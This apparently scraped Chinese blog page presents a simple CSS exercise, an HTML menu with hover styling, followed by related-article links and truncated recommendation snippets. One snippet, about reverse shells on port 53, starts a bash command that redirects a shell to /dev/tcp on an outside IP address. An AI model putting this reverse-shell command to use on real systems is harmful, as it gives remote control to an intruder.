运行效果：

源代码：

 1 <!DOCTYPE html>

 2 <html lang="zh">

 3 <head>

 4     <meta charset="UTF-8">

 5     <title>菜单</title>

 6     <style type="text/css">

 7         *{

 8             margin: 0;

 9             padding: 0;

10             border: none;

11         }

12

13         .container{

14             width: 288px;

15             background-color: #FCFCFC;

16             border-top: 1px solid orangered;

17         }

18

19         ul{

20             height: 40px;

21             line-height: 40px;

22         }

23

24         ul li{

25             list-style: none;

26             padding: 0 8px;

27             float: left;

28         }

29

30         ul li:hover{

31             background-color: #EDEEF0;

32         }

33

34         ul li a{

35             color: #7B91B6;

36             text-decoration: none;

37         }

38

39         ul li a:hover{

40             color: #FF8400;

41         }

42     </style>

43 </head>

44 <body>

45     <div class="container">

46         <ul>

47             <li><a href="#">设为首页</a></li>

48             <li><a href="#">移动客户端</a></li>

49             <li><a href="#">你好</a></li>

50             <li><a href="#">Pad版</a></li>

51         </ul>

52     </div>

53 </body>

54 </html>

CSS简单样式练习（三）的更多相关文章

  1. CSS控制样式的三种方式优先级对比验证

    入职已经一个月了,自此后,就好久没有写过博客了,在此先跟关注我的博友们说声抱歉.今天,在公司的一个培训作业的驱动以及伟哥那句“再不写博客就开除你”的监督下,我终于重拾旧爱,再次登录博客园,继续与大家分 ...

  2. CSS常用样式（三）

    一.2D变换 1.transform   设置或检索对象的转换 取值: none::以一个含六值的(a,b,c,d,e,f)变换矩阵的形式指定一个2D变换,相当于直接应用一个[a,b,c,d,e,f] ...

  3. CSS简单样式练习（七）

    运行效果: 源代码: 1 <!DOCTYPE html> 2 <html lang="zh"> 3 <head> 4 <meta char ...

  4. CSS简单样式练习（六）

    运行效果: 源代码: 1 <!DOCTYPE html> 2 <html lang="zh"> 3 <head> 4 <meta char ...

  5. CSS简单样式练习（五）

    运行效果: 源代码: 1 <!DOCTYPE html> 2 <html lang="zh"> 3 <head> 4 <meta char ...

  6. CSS简单样式练习（四）

    运行效果: 源代码: 1 <!DOCTYPE html> 2 <html lang="zh"> 3 <head> 4 <meta char ...

  7. CSS简单样式练习（二）

    运行效果: 源代码: 1 <!DOCTYPE html> 2 <html lang="zh"> 3 <head> 4 <meta char ...

  8. CSS简单样式练习（一）

    运行效果: 源代码: 1 <!DOCTYPE html> 2 <html lang="zh"> 3 <head> 4 <meta char ...

  9. CSS常用样式（四）之animation

    上篇CSS常用样式(三)这篇博文中已经介绍过了CSS中具有动画效果的transition.transform,今天来大概说说CSS中的animation.animation的加入会使得动画效果更加乐观 ...

随机推荐

  1. linux作业--第五周

    1.简述osi七层模型和TCP/IP五层模型 一.OSI参考模型 (1) OSI的来源 OSI(Open System Interconnect),即开放式系统互联. 一般都叫OSI参考模型,是ISO ...

  2. laravel7 下拉搜索

    html:页面 首先给下拉框一个页面改变事件,将下拉框的值发送至后台,进行查询 <select name="interest" id="serarch" ...

  3. 20192204 2019-2020-2 《Python程序设计》实验四报告

    20192204 2019-2020-2 <Python程序设计>实验四报告 课程:<Python程序设计> 班级: 1922 姓名: 李龙威 学号:20192204 实验教师 ...

  4. Docker——questions

    服务器的防火墙有什么用?(P14) Tomcat中的webapps.dist这一文件输出目录是用来做什么的?(P15) 容器之间实现数据共享的基础是要在主机有挂载的卷?

  5. Ansible的原理与配置

    镜像下载.域名解析.时间同步请点击 阿里云开源镜像站 Ansible原理 Ansible 是一款开源自动化平台.它是一种简单的自动化语言,能够在Ansible Playbook 中完美地描述 IT 应 ...

  6. web服务器-nginx反向代理

    web服务器-nginx反向代理 一. 代理介绍 代理是网络中使用比较常见的, 比如我们说的最多的就是FQ软件, 比如ss, 蓝灯等这些大家常用的软件,他们就是能改代理大家访问的国内无法访问的一些国外 ...

  7. 53端口反弹shell

    shell反弹 由于防火墙策略,导致并不能按预期的反弹shell,端口被封禁,可以使用53端口进行反弹shell 命令如下: bash -c 'sh -i &>/dev/tcp/210. ...

  8. MM32F0140 UART1 DMA RX and TX 中断接收和发送数据

    目录: 1.MM32F0140简介 2.DMA工作原理简介 3.初始化MM32F0140 UART1 4.配置MM32F0140 UART1 DMA接收 5.配置MM32F0140 UART1 DMA ...

  9. 在线Remix链接本地文件夹

    问题 1.本地Remix环境版本滞后于在线编译器,新版本的语法在旧版本编译器中出现错误. 2.没有配置Vscode编译器,不便导入项目. 解决方案 *本解决方案基于Mac系统 创建共享文件夹 在本地创 ...

  10. JDBC-连接Druid数据池

    •导入Druid-jar包 •下载地址 链接:https://pan.baidu.com/s/1A3tSCT9BDXkzB7zbukzyPg?pwd=0000 提取码:0000 下载后具体导入操作和这 ...